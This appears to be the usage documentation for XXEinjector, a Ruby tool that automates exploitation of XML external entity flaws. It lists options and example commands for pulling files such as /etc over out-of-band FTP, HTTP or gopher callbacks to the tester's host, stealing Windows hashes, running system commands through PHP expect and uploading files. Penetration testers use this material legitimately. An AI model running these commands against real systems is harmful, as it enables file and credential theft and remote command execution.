XXEinjector - Tool for Automatic Exploitation of XXE Vulnerability Using Direct and Different Out of Band Methods

XXEinjector - Tool for Automatic Exploitation of XXE Vulnerability Using Direct and Different Out of Band Methods

XXEinjector automates retrieving files using direct and out of band methods. Directory listing only works in Java applications. Bruteforcing method needs to be used for other applications.


--host     Mandatory - our IP address for reverse connections. (--host=
--file     Mandatory - file containing valid HTTP request with xml. You can also mark 
            with "XXEINJECT" a point where DTD should be injected. (--file=/tmp/req.txt)
--path     Mandatory if enumerating directories - Path to enumerate. (--path=/etc)
--brute     Mandatory if bruteforcing files - File with paths to bruteforce. 
--logger    Log results only. Do not send requests. HTTP logger looks for "p" parameter
            with results.
--rhost     Remote host's IP address or domain name. Use this argument only for requests 
            without Host header. (--rhost=
--rport     Remote host's TCP port. Use this argument only for requests without Host 
            header and for non-default values. (--rport=8080)

--oob       Out of Band exploitation method. FTP is default. FTP can be used in any 
            application. HTTP can be used for bruteforcing and enumeration through 
            directory listing in Java < 1.7 applications. Gopher can only be used in 
            Java < 1.7 applications. (--oob=http/ftp/gopher)
--direct    Use direct exploitation instead of out of band. Unique mark should be 
            specified as a value for this argument. This mark specifies where results 
            of XXE start and end. Specify --xml to see how XML in request file should 
            look like. (--direct=UNIQUEMARK)
--cdata     Improve direct exploitation with CDATA. Data is retrieved directly, however 
            OOB is used to construct CDATA payload. Specify --cdata-xml to see how 
            request should look like in this technique.
--2ndfile   File containing valid HTTP request used in second order exploitation.
--phpfilter Use PHP filter to base64 encode target file before sending.
--netdoc    Use netdoc protocol instead of file (Java).
--enumports Enumerating unfiltered ports for reverse connection. Specify value "all" to 
            enumerate all TCP ports. (--enumports=21,22,80,443,445)

--hashes    Steals Windows hash of the user that runs an application.
--expect    Uses PHP expect extension to execute arbitrary system command. Best works 
            with HTTP and PHP filter. (--expect=ls)
--upload    Uploads specified file using Java jar schema into temp file. 
--xslt     Tests for XSLT injection.

--ssl       Use SSL.
--proxy     Proxy to use. (--proxy=
--httpport  Set custom HTTP port. (--httpport=80)
--ftpport   Set custom FTP port. (--ftpport=21)
--gopherport Set custom gopher port. (--gopherport=70)
--jarport    Set custom port for uploading files using jar. (--jarport=1337)
--xsltport   Set custom port for XSLT injection test. (--xsltport=1337)

--test     This mode shows request with injected payload and quits. Used to verify 
            correctness of request without sending it to a server.
--urlencode URL encode injected DTD. This is default for URI.
--nodtd     If you want to put DTD in request by yourself. Specify "--dtd" to show 
            how DTD should look like.
--output    Output file for bruteforcing and logger mode. By default it logs to 
            brute.log in current directory. (--output=/tmp/out.txt)
--timeout   Timeout for receiving file/directory content. (--timeout=20)
--contimeout Timeout for closing connection with server. This is used to prevent
                DoS condition. (--contimeout=20)
--fast     Skip asking what to enumerate. Prone to false-positives.
--verbose   Show verbose messages.

Example Usage:

Enumerating /etc directory in HTTPS application:
ruby XXEinjector.rb --host= --path=/etc --file=/tmp/req.txt --ssl
Enumerating /etc directory using gopher for OOB method:
ruby XXEinjector.rb --host= --path=/etc --file=/tmp/req.txt --oob=gopher
Second order exploitation:
ruby XXEinjector.rb --host= --path=/etc --file=/tmp/vulnreq.txt 
Bruteforcing files using HTTP out of band method and netdoc protocol:
ruby XXEinjector.rb --host= --brute=/tmp/filenames.txt --file=/tmp/req.txt 
--oob=http --netdoc
Enumerating using direct exploitation:
ruby XXEinjector.rb --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARK
Enumerating unfiltered ports:
ruby XXEinjector.rb --host= --file=/tmp/req.txt --enumports=all
Stealing Windows hashes:
ruby XXEinjector.rb --host= --file=/tmp/req.txt --hashes
Uploading files using Java jar:
ruby XXEinjector.rb --host= --file=/tmp/req.txt --upload=/tmp/uploadfile.pdf
Executing system commands using PHP expect:
ruby XXEinjector.rb --host= --file=/tmp/req.txt --oob=http --phpfilter 
Testing for XSLT injection:
ruby XXEinjector.rb --host= --file=/tmp/req.txt --xslt
Log requests only:
ruby XXEinjector.rb --logger --oob=http --output=/tmp/out.txt
